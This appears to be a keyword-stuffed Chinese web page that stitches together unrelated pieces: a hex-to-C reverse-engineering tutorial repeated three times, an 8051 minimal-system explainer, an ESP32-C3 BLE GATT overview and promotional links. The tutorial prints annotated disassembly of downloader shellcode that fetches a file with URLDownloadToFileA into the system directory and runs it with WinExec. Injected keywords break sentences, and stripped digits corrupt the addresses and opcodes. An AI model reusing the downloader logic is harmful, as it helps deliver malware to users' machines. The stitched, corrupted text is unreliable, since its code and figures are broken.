【源码的真值怎么计算】【徕卡源码网】【朔源码建设】esp32c3源码

时间:2024-12-29 08:43:14 分类:无纸化考试系统源码 来源:oa网站源码

1.hex文件如何转成C语言?
2.全是源码干货!!源码51单片机最小系统详解
3.ESP-C3入门17. 低功耗蓝牙GATT Server
4.hex文件如何转化成C语言?
5.十六进制编码的源码c语言是怎样的

esp32c3源码

hex文件如何转成C语言?

       文件有两种,一种是源码文本文件,一种是源码程序二进制文件,不管哪种文件都可以用十六进制编码来显示,源码源码的真值怎么计算称为hex文件。源码

       1、源码文本Hex文件一般不需要转成C语言,源码更多的源码是程序二进制文件,用十六进制显示,源码可以转换成C语言,源码一般使用相应的源码反汇编程序来实现,这方面的源码工具很多,不同的源码平台略有不同。Windows平台一般常用的OllyDbg、Windbg、IDA,Linux平台使用最多的是GDB和Linux版的IDA。

       OllyDbg,简称OD,一般是软件逆向工程爱好者,最先使用的一个工具,但是因为当下不在更新,所以一般用一般用于学习使用,下图中左上角的区域即为反汇编区域 ,用户可以根据汇编指令,分析程序算法,然后自己编写代码。

        在Windows平台,特别是x平台,最好用的反汇编工具除还得是Windbg。将程序载入Windbg后,可以输入u命令来查看程序的反汇编代码。

       2、对于编程人员来说,逆向分析是一个基本的技能,但是徕卡源码网往往不容易入门,这里举一个例子。以一段早些年ShellCode的十六进制代码为例,代码如下图所示,这段不起眼的代码,实际上实现了一个下载者的功能。

       拿到这样的十六进制代码,一般来说,先将其生成二进制文件,然后再分析其指令,通过反汇编指令再写出源码。只需要将上面的十六进制代码,保存到C语言的字符串数组中,写入到一个Exe的文件空段中,再修改指令将其跳转到程序入口处即可,这个过程类似于软件安全领域的壳。

       将十六进制代码写入一个exe文件后,就可以将exe文件载入动态调试器进行动态分析或者使用静态反汇编程序进行静态分析,两者的不同在于动态调试器是要运行程序的,而静态反汇编分析不需要运行程序,所以一般恶意程序,都采用静态分析。反汇编开头的一段十六进制代码注释如下:

       4AD    5A                     pop     edx                                           ; 函数返回的地址保存到edx中

       4AD    :A1          mov     eax, dword ptr fs:[]                        ; 取peb

       4AD    8B 0C                mov     eax, dword ptr [eax+C]                        ; peb_link

       4ADB    8B 1C                mov     esi, dword ptr [eax+1C]                       ; 初始化列表到esi

       4ADE    AD                     lods    dword ptr [esi]                               ; [esi]->eax + 8的位置即kernel.dll的地址

       4ADF    8B                 mov     eax, dword ptr [eax+8]                        ; eax=kernel.dll的地址

       4AD    8BD8                   mov     ebx, eax                                      ; ebx=kernel.dll的基址

       4AD    8B 3C                mov     esi, dword ptr [ebx+3C]                       ; esi = pe头偏移

       4AD    8BE               mov     esi, dword ptr [esi+ebx+]                   ; esi为kernel.dll导出表的偏移

       4ADB    F3                   add     esi, ebx                                      ; esi = kernel.dll导出表的虚拟地址

       4ADD    8B7E                 mov     edi, dword ptr [esi+]                       ; edi=ent的偏移地址

       4AD    FB                   add     edi, ebx                                      ; edi = ent的虚拟地址

       4AD    8B4E                 mov     ecx, dword ptr [esi+]                       ; ecx = kernel.dll导出地址的个数

       4AD    ED                   xor     ebp, ebp                                      ; ebp=0

       4AD                         push    esi                                           ; 保存导出表虚拟地址

       4AD                         push    edi                                           ; 保存ent虚拟地址

       4AD                         push    ecx                                           ; 保存计数

       4ADA    8B3F                   mov     edi, dword ptr [edi]

       4ADC    FB                   add     edi, ebx                                      ; 定位ent中的函数名

       4ADE    8BF2                   mov     esi, edx                                      ; esi为 要查询的函数GetProcAddress即该call的下一个地址是数据

       4AD    6A 0E                  push    0E                                            ; 0xe0是GetProcAddress函数的字符个数

       4AD                         pop     ecx                                           ; 设置循环次数为 0xe

       4AD    F3:A6                  repe    cmps byte ptr es:[edi], byte ptr [esi]        ; ecx!=0&&zf=1 ecx=ecx-1 cmps判断 GetProcAddress

       4AD                       je      short 4ADF                                ; 如果ENT中的函数名为GetProcAddress跳走

       4AD                         pop     ecx                                           ; 不相等则将导出地址数出栈

       4AD    5F                     pop     edi                                           ; ent虚拟地址出栈

       4AD    C7                 add     edi, 4                                        ; edi地址递增4字节 因为ENT的元素大小为4字节

       4ADC                         inc     ebp                                           ; ebp用于保存ent中定位到GetProcAddress函数时的计数

       4ADD  ^ E2 E9                  loopd   short 4AD                                ; 循环查询

       4ADF                         pop     ecx

       4AD    5F                     pop     edi

       4AD    5E                     pop     esi

       4AD    8BCD                   mov     ecx, ebp                                      ; 计数保存于ecx

       4AD    8B                 mov     eax, dword ptr [esi+]                       ; esi+0x Ordinal序号表偏移地址

       4AD    C3                   add     eax, ebx                                      ; ordinal序号表的虚拟地址

       4AD    D1E1                   shl     ecx, 1                                        ; ecx逻辑增加2倍  因为ordinal序号是WOR类型下面是通过add 来求ordinal所以这里必须扩大2倍

       4ADB    C1                   add     eax, ecx

       4ADD    C9                   xor     ecx, ecx                                      ; ecx=0

       4ADF    :8B                mov     cx, word ptr [eax]                            ; 保存取出的ordinal序号

       4AD    8B 1C                mov     eax, dword ptr [esi+1C]                       ; eax 为kenrnel.dll的EAT的偏移地址

       4AD >  C3                   add     eax, ebx                                      ; eax = kernel.dll的eat虚拟地址

       4AD    C1E1                 shl     ecx, 2                                        ; 同上,扩大4倍因为eat中元素为DWORD值

       4ADA    C1                   add     eax, ecx

       4ADC    8B                   mov     eax, dword ptr [eax]                          ; eax即为GetProcAddress函数的地址 相对虚拟地址,EAT中保存的RVA

       4ADE    C3                   add     eax, ebx                                      ; 与基址相加求得GetProcAddress函数的虚拟地址

       4AD    8BFA                   mov     edi, edx                                      ; GetProcAddress字符到edi

       4AD    8BF7                   mov     esi, edi                                      ; esi保存GetProcAddress地址

       4AD    C6 0E                add     esi, 0E                                       ; esi指向GetProcAddress字符串的末地址

       4AD    8BD0                   mov     edx, eax                                      ; edx为GetProcAddress的地址

       4AD    6A                   push    4

       4ADB                         pop     ecx                                           ; ecx=4

       有经验的程序员, 通过分析即明白上面反汇编代码的主要目的就是获取GetProcAddress函数的地址。继续看反汇编代码:

       4ADC    E8             call    4ADE1                                      ; 设置IAT 得到4个函数的地址

       4AD    C6 0D                add     esi, 0D                                       ; 从这里开始实现ShellCode的真正功能

       4AD                         push    edx

       4AD                         push    esi                                           ; urlmon

       4AD    FF FC                call    dword ptr [edi-4]                             ; 调用LoadLibrarA来加载urlmon.dll

       4AD    5A                     pop     edx                                           ; edx = GetProcAddress的地址

       4ADA    8BD8                   mov     ebx, eax

       4ADC    6A                   push    1

       4ADE                         pop     ecx

       4ADF    E8 3D            call    4ADE1                                      ; 再次设置 IAT 得到URLDownLoadToFileA

       4ADA4    C6                 add     esi,                                        ; esi指向URLDownLoadToFileA的末地址

       4ADA7                         push    esi

       4ADA8                         inc     esi

       4ADA9    E                 cmp     byte ptr [esi],                             ; 判断esi是否为0x 这里在原码中有0x如果要自己用,应该加上一个字节用于表示程序结束

       4ADAC  ^  FA                  jnz     short 4ADA8                                ; 跨过这个跳转,需要在OD中CTRL+E修改数据为0x

       4ADAE                     xor     byte ptr [esi], 

       4ADB1    5E                     pop     esi

       4ADB2    EC                 sub     esp,                                        ; 开辟  byte栈空间

       4ADB5 >  8BDC                   mov     ebx, esp                                      ; ebx为栈区的指针

       4ADB7    6A                   push    

       4ADB9                         push    ebx

       4ADBA    FF EC                call    dword ptr [edi-]                            ; 调用GetSystemDirectoryA得到系统目录

       4ADBD    C 5CE        mov     dword ptr [ebx+eax], EC                 ; ebx+0x 系统路径占 0x个字节

       4ADC4    C       mov     dword ptr [ebx+eax+4],                    ; 拼接下载后的文件路径%systemroot%\system\a.exe

       4ADCC    C0                   xor     eax, eax

       4ADCE                         push    eax

       4ADCF                         push    eax

       4ADD0                         push    ebx

       4ADD1                         push    esi

       4ADD2                         push    eax

       4ADD3 >  FF FC                call    dword ptr [edi-4]                             ; URLDownLoadToFile下载文件为a.exe

       4ADD6    8BDC                   mov     ebx, esp

       4ADD8                         push    eax

       4ADD9                         push    ebx

       4ADDA    FF F0                call    dword ptr [edi-]                            ; WinExec执行代码

       4ADDD                         push    eax

       4ADDE    FF F4                call    dword ptr [edi-C]                             ; ExitThread退出线程

       接下来的操作便是通过已获得地址的GetProcAddress()来分别得到GetSystemDirectory()、URLDownLoadToFile()、WinExec()及ExitProcess()函数的地址,并依次执行。到这里实际上有经验的程序员,马上就能写出C语言代码来。 后面的数据区不在分析了,主要是介绍如何操作。

       使用C语言,朔源码建设虽然知道了Hex文件的大致流程,但是一般来说,对于汇编指令,更倾向于直接使用asm关键字来使用内联汇编。如下图所示:

       通过这个实例 ,相信应该能理解一个大致的流程啦。

全是干货!!单片机最小系统详解

       单片机最小系统,或称为最小应用系统,是单片机可以运行所需的最少元件组成的系统。对于系列单片机而言,通常包括单片机、晶振电路和复位电路。

       复位电路通过电容串联电阻实现,当系统启动时,RST脚会出现高电平,持续时间由电路的RC值决定,确保在启动后复位。常见的做法是使用CuF和R8.2K的组合,以获得至少两个机器周期的高电平,确保可靠复位。

       晶振电路为系统提供时钟频率,典型频率包括.MHz和MHz,适用于串口通信或精确定时操作。

       单片机选用ATS/或其他系列兼容型号。

       注意:脚(EA/Vpp)在接高电平时,单片机复位后从内部ROM的H开始执行;接低电平时,从外部ROM的H开始执行。初学者易忽略这一点。

       复位电路原理:在系统启动时,复位电路提供高电平,保证单片机从头开始执行程序。按键操作可触发复位,通过改变电路状态,释放电容电能,使RST脚电平变化。

       总结:复位电路依赖电容充放电时间实现复位,源码怎么租按键操作导致电路状态改变,释放电容电能引起电平变化。

       单片机最小系统电路介绍:

       1. 电容C1的大小影响复位时间,推荐值为~uF。

       2. 晶振Y1频率选择:6MHz或.MHz,频率越高,处理速度越快。

       3. C2、C3电容值为~pF,应靠近晶振以优化性能。

       4. P0口为开漏输出,作为输出口时需加上拉电阻,阻值通常为k。

       5. 设置定时器或计数器模式时,计数值与定时时间的关系,取决于机器周期和振荡频率。

       STM物联网开发资料集合,包含从入门到实战的资料,包括STM设计、物联网理论与实践、ESP教程、四轴飞行器设计制作等,适合从零基础到专业学习。

       STM物联网开发相关资料链接:sourl.cn/U4aHtD

       入门到精通的C语言、C++、Linux资料集合,包含知识点讲解、项目源码和视频教程,适合学习和参考。

       C语言/C++/Linux教程合集链接:sourl.cn/M2UCDR

ESP-C3入门. 低功耗蓝牙GATT Server

       低功耗蓝牙GATT Server入门指南:基础概念与建立步骤

       一、基本概念与概念关系

       GATT (Generic Attribute Profile) 是蓝牙低功耗协议栈的一部分,用于定义设备间数据交换的格式与规范。GATT基于属性与服务的概念,数据通过属性封装实现设备间通信。每个服务代表特定功能,包含多个属性,站长啦源码每个属性拥有唯一UUID标识。

       属性可读或写,描述符可选,提供额外信息,如范围、单位或名称。GATT采用请求-响应通信模式,设备通过请求访问属性,接收方响应数据或确认写入。

       服务、属性、描述符等概念间有包含关系,具体表现于设备功能实现中。

       二、角色与操作

       在GATT中,存在GATT Server与GATT Client角色。

       GATT Server存储服务与属性,为GATT Client提供数据访问。当连接建立,GATT Client可通过协议读取和写入Server数据,如温度传感器读数或LED灯属性。

       设备可同时作为Server与Client,如智能手表作为Server提供功能,作为Client获取通知。

       三、ESP IDF建立GATT Server步骤

       步骤包括初始化、配置、注册事件处理、设置MTU、创建服务与特征、添加特征、声明回调函数、初始化与实现回调处理。

       初始化与配置后,通过函数创建服务、特征,设置权限、属性与值。添加特征至服务,声明回调函数处理事件。最后,启用服务器与监听连接请求。

       四、源代码示例

       ESP IDF示例代码提供简化版实现。

       通过代码与运行指导,直观展示建立GATT Server过程。

       五、连接手机示例

       使用手机端连接演示GATT功能。

       通过以上内容,全面介绍了低功耗蓝牙GATT Server的基本概念、建立步骤以及实际应用示例,旨在帮助开发者快速掌握GATT Server核心知识与实践技巧。

hex文件如何转化成C语言?

       文件有两种,一种是文本文件,一种是程序二进制文件,不管哪种文件都可以用十六进制编码来显示,称为hex文件。

       1、文本Hex文件一般不需要转成C语言,更多的是程序二进制文件,用十六进制显示,可以转换成C语言,一般使用相应的反汇编程序来实现,这方面的工具很多,不同的平台略有不同。Windows平台一般常用的OllyDbg、Windbg、IDA,Linux平台使用最多的是GDB和Linux版的IDA。

       OllyDbg,简称OD,一般是软件逆向工程爱好者,最先使用的一个工具,但是因为当下不在更新,所以一般用一般用于学习使用,下图中左上角的区域即为反汇编区域 ,用户可以根据汇编指令,分析程序算法,然后自己编写代码。

        在Windows平台,特别是x平台,最好用的反汇编工具除还得是Windbg。将程序载入Windbg后,可以输入u命令来查看程序的反汇编代码。

       2、对于编程人员来说,逆向分析是一个基本的技能,但是往往不容易入门,这里举一个例子。以一段早些年ShellCode的十六进制代码为例,代码如下图所示,这段不起眼的代码,实际上实现了一个下载者的功能。

       拿到这样的十六进制代码,一般来说,先将其生成二进制文件,然后再分析其指令,通过反汇编指令再写出源码。只需要将上面的十六进制代码,保存到C语言的字符串数组中,写入到一个Exe的文件空段中,再修改指令将其跳转到程序入口处即可,这个过程类似于软件安全领域的壳。

       将十六进制代码写入一个exe文件后,就可以将exe文件载入动态调试器进行动态分析或者使用静态反汇编程序进行静态分析,两者的不同在于动态调试器是要运行程序的,而静态反汇编分析不需要运行程序,所以一般恶意程序,都采用静态分析。反汇编开头的一段十六进制代码注释如下:

       4AD    5A                     pop     edx                                           ; 函数返回的地址保存到edx中

       4AD    :A1          mov     eax, dword ptr fs:[]                        ; 取peb

       4AD    8B 0C                mov     eax, dword ptr [eax+C]                        ; peb_link

       4ADB    8B 1C                mov     esi, dword ptr [eax+1C]                       ; 初始化列表到esi

       4ADE    AD                     lods    dword ptr [esi]                               ; [esi]->eax + 8的位置即kernel.dll的地址

       4ADF    8B                 mov     eax, dword ptr [eax+8]                        ; eax=kernel.dll的地址

       4AD    8BD8                   mov     ebx, eax                                      ; ebx=kernel.dll的基址

       4AD    8B 3C                mov     esi, dword ptr [ebx+3C]                       ; esi = pe头偏移

       4AD    8BE               mov     esi, dword ptr [esi+ebx+]                   ; esi为kernel.dll导出表的偏移

       4ADB    F3                   add     esi, ebx                                      ; esi = kernel.dll导出表的虚拟地址

       4ADD    8B7E                 mov     edi, dword ptr [esi+]                       ; edi=ent的偏移地址

       4AD    FB                   add     edi, ebx                                      ; edi = ent的虚拟地址

       4AD    8B4E                 mov     ecx, dword ptr [esi+]                       ; ecx = kernel.dll导出地址的个数

       4AD    ED                   xor     ebp, ebp                                      ; ebp=0

       4AD                         push    esi                                           ; 保存导出表虚拟地址

       4AD                         push    edi                                           ; 保存ent虚拟地址

       4AD                         push    ecx                                           ; 保存计数

       4ADA    8B3F                   mov     edi, dword ptr [edi]

       4ADC    FB                   add     edi, ebx                                      ; 定位ent中的函数名

       4ADE    8BF2                   mov     esi, edx                                      ; esi为 要查询的函数GetProcAddress即该call的下一个地址是数据

       4AD    6A 0E                  push    0E                                            ; 0xe0是GetProcAddress函数的字符个数

       4AD                         pop     ecx                                           ; 设置循环次数为 0xe

       4AD    F3:A6                  repe    cmps byte ptr es:[edi], byte ptr [esi]        ; ecx!=0&&zf=1 ecx=ecx-1 cmps判断 GetProcAddress

       4AD                       je      short 4ADF                                ; 如果ENT中的函数名为GetProcAddress跳走

       4AD                         pop     ecx                                           ; 不相等则将导出地址数出栈

       4AD    5F                     pop     edi                                           ; ent虚拟地址出栈

       4AD    C7                 add     edi, 4                                        ; edi地址递增4字节 因为ENT的元素大小为4字节

       4ADC                         inc     ebp                                           ; ebp用于保存ent中定位到GetProcAddress函数时的计数

       4ADD  ^ E2 E9                  loopd   short 4AD                                ; 循环查询

       4ADF                         pop     ecx

       4AD    5F                     pop     edi

       4AD    5E                     pop     esi

       4AD    8BCD                   mov     ecx, ebp                                      ; 计数保存于ecx

       4AD    8B                 mov     eax, dword ptr [esi+]                       ; esi+0x Ordinal序号表偏移地址

       4AD    C3                   add     eax, ebx                                      ; ordinal序号表的虚拟地址

       4AD    D1E1                   shl     ecx, 1                                        ; ecx逻辑增加2倍  因为ordinal序号是WOR类型下面是通过add 来求ordinal所以这里必须扩大2倍

       4ADB    C1                   add     eax, ecx

       4ADD    C9                   xor     ecx, ecx                                      ; ecx=0

       4ADF    :8B                mov     cx, word ptr [eax]                            ; 保存取出的ordinal序号

       4AD    8B 1C                mov     eax, dword ptr [esi+1C]                       ; eax 为kenrnel.dll的EAT的偏移地址

       4AD >  C3                   add     eax, ebx                                      ; eax = kernel.dll的eat虚拟地址

       4AD    C1E1                 shl     ecx, 2                                        ; 同上,扩大4倍因为eat中元素为DWORD值

       4ADA    C1                   add     eax, ecx

       4ADC    8B                   mov     eax, dword ptr [eax]                          ; eax即为GetProcAddress函数的地址 相对虚拟地址,EAT中保存的RVA

       4ADE    C3                   add     eax, ebx                                      ; 与基址相加求得GetProcAddress函数的虚拟地址

       4AD    8BFA                   mov     edi, edx                                      ; GetProcAddress字符到edi

       4AD    8BF7                   mov     esi, edi                                      ; esi保存GetProcAddress地址

       4AD    C6 0E                add     esi, 0E                                       ; esi指向GetProcAddress字符串的末地址

       4AD    8BD0                   mov     edx, eax                                      ; edx为GetProcAddress的地址

       4AD    6A                   push    4

       4ADB                         pop     ecx                                           ; ecx=4

       有经验的程序员, 通过分析即明白上面反汇编代码的主要目的就是获取GetProcAddress函数的地址。继续看反汇编代码:

       4ADC    E8             call    4ADE1                                      ; 设置IAT 得到4个函数的地址

       4AD    C6 0D                add     esi, 0D                                       ; 从这里开始实现ShellCode的真正功能

       4AD                         push    edx

       4AD                         push    esi                                           ; urlmon

       4AD    FF FC                call    dword ptr [edi-4]                             ; 调用LoadLibrarA来加载urlmon.dll

       4AD    5A                     pop     edx                                           ; edx = GetProcAddress的地址

       4ADA    8BD8                   mov     ebx, eax

       4ADC    6A                   push    1

       4ADE                         pop     ecx

       4ADF    E8 3D            call    4ADE1                                      ; 再次设置 IAT 得到URLDownLoadToFileA

       4ADA4    C6                 add     esi,                                        ; esi指向URLDownLoadToFileA的末地址

       4ADA7                         push    esi

       4ADA8                         inc     esi

       4ADA9    E                 cmp     byte ptr [esi],                             ; 判断esi是否为0x 这里在原码中有0x如果要自己用,应该加上一个字节用于表示程序结束

       4ADAC  ^  FA                  jnz     short 4ADA8                                ; 跨过这个跳转,需要在OD中CTRL+E修改数据为0x

       4ADAE                     xor     byte ptr [esi], 

       4ADB1    5E                     pop     esi

       4ADB2    EC                 sub     esp,                                        ; 开辟  byte栈空间

       4ADB5 >  8BDC                   mov     ebx, esp                                      ; ebx为栈区的指针

       4ADB7    6A                   push    

       4ADB9                         push    ebx

       4ADBA    FF EC                call    dword ptr [edi-]                            ; 调用GetSystemDirectoryA得到系统目录

       4ADBD    C 5CE        mov     dword ptr [ebx+eax], EC                 ; ebx+0x 系统路径占 0x个字节

       4ADC4    C       mov     dword ptr [ebx+eax+4],                    ; 拼接下载后的文件路径%systemroot%\system\a.exe

       4ADCC    C0                   xor     eax, eax

       4ADCE                         push    eax

       4ADCF                         push    eax

       4ADD0                         push    ebx

       4ADD1                         push    esi

       4ADD2                         push    eax

       4ADD3 >  FF FC                call    dword ptr [edi-4]                             ; URLDownLoadToFile下载文件为a.exe

       4ADD6    8BDC                   mov     ebx, esp

       4ADD8                         push    eax

       4ADD9                         push    ebx

       4ADDA    FF F0                call    dword ptr [edi-]                            ; WinExec执行代码

       4ADDD                         push    eax

       4ADDE    FF F4                call    dword ptr [edi-C]                             ; ExitThread退出线程

       接下来的操作便是通过已获得地址的GetProcAddress()来分别得到GetSystemDirectory()、URLDownLoadToFile()、WinExec()及ExitProcess()函数的地址,并依次执行。到这里实际上有经验的程序员,马上就能写出C语言代码来。 后面的数据区不在分析了,主要是介绍如何操作。

       使用C语言,虽然知道了Hex文件的大致流程,但是一般来说,对于汇编指令,更倾向于直接使用asm关键字来使用内联汇编。如下图所示:

       通过这个实例 ,相信应该能理解一个大致的流程啦。

十六进制编码的c语言是怎样的

       文件有两种,一种是文本文件,一种是程序二进制文件,不管哪种文件都可以用十六进制编码来显示,称为hex文件。

       1、文本Hex文件一般不需要转成C语言,更多的是程序二进制文件,用十六进制显示,可以转换成C语言,一般使用相应的反汇编程序来实现,这方面的工具很多,不同的平台略有不同。Windows平台一般常用的OllyDbg、Windbg、IDA,Linux平台使用最多的是GDB和Linux版的IDA。

       OllyDbg,简称OD,一般是软件逆向工程爱好者,最先使用的一个工具,但是因为当下不在更新,所以一般用一般用于学习使用,下图中左上角的区域即为反汇编区域 ,用户可以根据汇编指令,分析程序算法,然后自己编写代码。

        在Windows平台,特别是x平台,最好用的反汇编工具除还得是Windbg。将程序载入Windbg后,可以输入u命令来查看程序的反汇编代码。

       2、对于编程人员来说,逆向分析是一个基本的技能,但是往往不容易入门,这里举一个例子。以一段早些年ShellCode的十六进制代码为例,代码如下图所示,这段不起眼的代码,实际上实现了一个下载者的功能。

       拿到这样的十六进制代码,一般来说,先将其生成二进制文件,然后再分析其指令,通过反汇编指令再写出源码。只需要将上面的十六进制代码,保存到C语言的字符串数组中,写入到一个Exe的文件空段中,再修改指令将其跳转到程序入口处即可,这个过程类似于软件安全领域的壳。

       将十六进制代码写入一个exe文件后,就可以将exe文件载入动态调试器进行动态分析或者使用静态反汇编程序进行静态分析,两者的不同在于动态调试器是要运行程序的,而静态反汇编分析不需要运行程序,所以一般恶意程序,都采用静态分析。反汇编开头的一段十六进制代码注释如下:

       4AD    5A                     pop     edx                                           ; 函数返回的地址保存到edx中

       4AD    :A1          mov     eax, dword ptr fs:[]                        ; 取peb

       4AD    8B 0C                mov     eax, dword ptr [eax+C]                        ; peb_link

       4ADB    8B 1C                mov     esi, dword ptr [eax+1C]                       ; 初始化列表到esi

       4ADE    AD                     lods    dword ptr [esi]                               ; [esi]->eax + 8的位置即kernel.dll的地址

       4ADF    8B                 mov     eax, dword ptr [eax+8]                        ; eax=kernel.dll的地址

       4AD    8BD8                   mov     ebx, eax                                      ; ebx=kernel.dll的基址

       4AD    8B 3C                mov     esi, dword ptr [ebx+3C]                       ; esi = pe头偏移

       4AD    8BE               mov     esi, dword ptr [esi+ebx+]                   ; esi为kernel.dll导出表的偏移

       4ADB    F3                   add     esi, ebx                                      ; esi = kernel.dll导出表的虚拟地址

       4ADD    8B7E                 mov     edi, dword ptr [esi+]                       ; edi=ent的偏移地址

       4AD    FB                   add     edi, ebx                                      ; edi = ent的虚拟地址

       4AD    8B4E                 mov     ecx, dword ptr [esi+]                       ; ecx = kernel.dll导出地址的个数

       4AD    ED                   xor     ebp, ebp                                      ; ebp=0

       4AD                         push    esi                                           ; 保存导出表虚拟地址

       4AD                         push    edi                                           ; 保存ent虚拟地址

       4AD                         push    ecx                                           ; 保存计数

       4ADA    8B3F                   mov     edi, dword ptr [edi]

       4ADC    FB                   add     edi, ebx                                      ; 定位ent中的函数名

       4ADE    8BF2                   mov     esi, edx                                      ; esi为 要查询的函数GetProcAddress即该call的下一个地址是数据

       4AD    6A 0E                  push    0E                                            ; 0xe0是GetProcAddress函数的字符个数

       4AD                         pop     ecx                                           ; 设置循环次数为 0xe

       4AD    F3:A6                  repe    cmps byte ptr es:[edi], byte ptr [esi]        ; ecx!=0&&zf=1 ecx=ecx-1 cmps判断 GetProcAddress

       4AD                       je      short 4ADF                                ; 如果ENT中的函数名为GetProcAddress跳走

       4AD                         pop     ecx                                           ; 不相等则将导出地址数出栈

       4AD    5F                     pop     edi                                           ; ent虚拟地址出栈

       4AD    C7                 add     edi, 4                                        ; edi地址递增4字节 因为ENT的元素大小为4字节

       4ADC                         inc     ebp                                           ; ebp用于保存ent中定位到GetProcAddress函数时的计数

       4ADD  ^ E2 E9                  loopd   short 4AD                                ; 循环查询

       4ADF                         pop     ecx

       4AD    5F                     pop     edi

       4AD    5E                     pop     esi

       4AD    8BCD                   mov     ecx, ebp                                      ; 计数保存于ecx

       4AD    8B                 mov     eax, dword ptr [esi+]                       ; esi+0x Ordinal序号表偏移地址

       4AD    C3                   add     eax, ebx                                      ; ordinal序号表的虚拟地址

       4AD    D1E1                   shl     ecx, 1                                        ; ecx逻辑增加2倍  因为ordinal序号是WOR类型下面是通过add 来求ordinal所以这里必须扩大2倍

       4ADB    C1                   add     eax, ecx

       4ADD    C9                   xor     ecx, ecx                                      ; ecx=0

       4ADF    :8B                mov     cx, word ptr [eax]                            ; 保存取出的ordinal序号

       4AD    8B 1C                mov     eax, dword ptr [esi+1C]                       ; eax 为kenrnel.dll的EAT的偏移地址

       4AD >  C3                   add     eax, ebx                                      ; eax = kernel.dll的eat虚拟地址

       4AD    C1E1                 shl     ecx, 2                                        ; 同上,扩大4倍因为eat中元素为DWORD值

       4ADA    C1                   add     eax, ecx

       4ADC    8B                   mov     eax, dword ptr [eax]                          ; eax即为GetProcAddress函数的地址 相对虚拟地址,EAT中保存的RVA

       4ADE    C3                   add     eax, ebx                                      ; 与基址相加求得GetProcAddress函数的虚拟地址

       4AD    8BFA                   mov     edi, edx                                      ; GetProcAddress字符到edi

       4AD    8BF7                   mov     esi, edi                                      ; esi保存GetProcAddress地址

       4AD    C6 0E                add     esi, 0E                                       ; esi指向GetProcAddress字符串的末地址

       4AD    8BD0                   mov     edx, eax                                      ; edx为GetProcAddress的地址

       4AD    6A                   push    4

       4ADB                         pop     ecx                                           ; ecx=4

       有经验的程序员, 通过分析即明白上面反汇编代码的主要目的就是获取GetProcAddress函数的地址。继续看反汇编代码:

       4ADC    E8             call    4ADE1                                      ; 设置IAT 得到4个函数的地址

       4AD    C6 0D                add     esi, 0D                                       ; 从这里开始实现ShellCode的真正功能

       4AD                         push    edx

       4AD                         push    esi                                           ; urlmon

       4AD    FF FC                call    dword ptr [edi-4]                             ; 调用LoadLibrarA来加载urlmon.dll

       4AD    5A                     pop     edx                                           ; edx = GetProcAddress的地址

       4ADA    8BD8                   mov     ebx, eax

       4ADC    6A                   push    1

       4ADE                         pop     ecx

       4ADF    E8 3D            call    4ADE1                                      ; 再次设置 IAT 得到URLDownLoadToFileA

       4ADA4    C6                 add     esi,                                        ; esi指向URLDownLoadToFileA的末地址

       4ADA7                         push    esi

       4ADA8                         inc     esi

       4ADA9    E                 cmp     byte ptr [esi],                             ; 判断esi是否为0x 这里在原码中有0x如果要自己用,应该加上一个字节用于表示程序结束

       4ADAC  ^  FA                  jnz     short 4ADA8                                ; 跨过这个跳转,需要在OD中CTRL+E修改数据为0x

       4ADAE                     xor     byte ptr [esi], 

       4ADB1    5E                     pop     esi

       4ADB2    EC                 sub     esp,                                        ; 开辟  byte栈空间

       4ADB5 >  8BDC                   mov     ebx, esp                                      ; ebx为栈区的指针

       4ADB7    6A                   push    

       4ADB9                         push    ebx

       4ADBA    FF EC                call    dword ptr [edi-]                            ; 调用GetSystemDirectoryA得到系统目录

       4ADBD    C 5CE        mov     dword ptr [ebx+eax], EC                 ; ebx+0x 系统路径占 0x个字节

       4ADC4    C       mov     dword ptr [ebx+eax+4],                    ; 拼接下载后的文件路径%systemroot%\system\a.exe

       4ADCC    C0                   xor     eax, eax

       4ADCE                         push    eax

       4ADCF                         push    eax

       4ADD0                         push    ebx

       4ADD1                         push    esi

       4ADD2                         push    eax

       4ADD3 >  FF FC                call    dword ptr [edi-4]                             ; URLDownLoadToFile下载文件为a.exe

       4ADD6    8BDC                   mov     ebx, esp

       4ADD8                         push    eax

       4ADD9                         push    ebx

       4ADDA    FF F0                call    dword ptr [edi-]                            ; WinExec执行代码

       4ADDD                         push    eax

       4ADDE    FF F4                call    dword ptr [edi-C]                             ; ExitThread退出线程

       接下来的操作便是通过已获得地址的GetProcAddress()来分别得到GetSystemDirectory()、URLDownLoadToFile()、WinExec()及ExitProcess()函数的地址,并依次执行。到这里实际上有经验的程序员,马上就能写出C语言代码来。 后面的数据区不在分析了,主要是介绍如何操作。

       使用C语言,虽然知道了Hex文件的大致流程,但是一般来说,对于汇编指令,更倾向于直接使用asm关键字来使用内联汇编。如下图所示:

       通过这个实例 ,相信应该能理解一个大致的流程啦。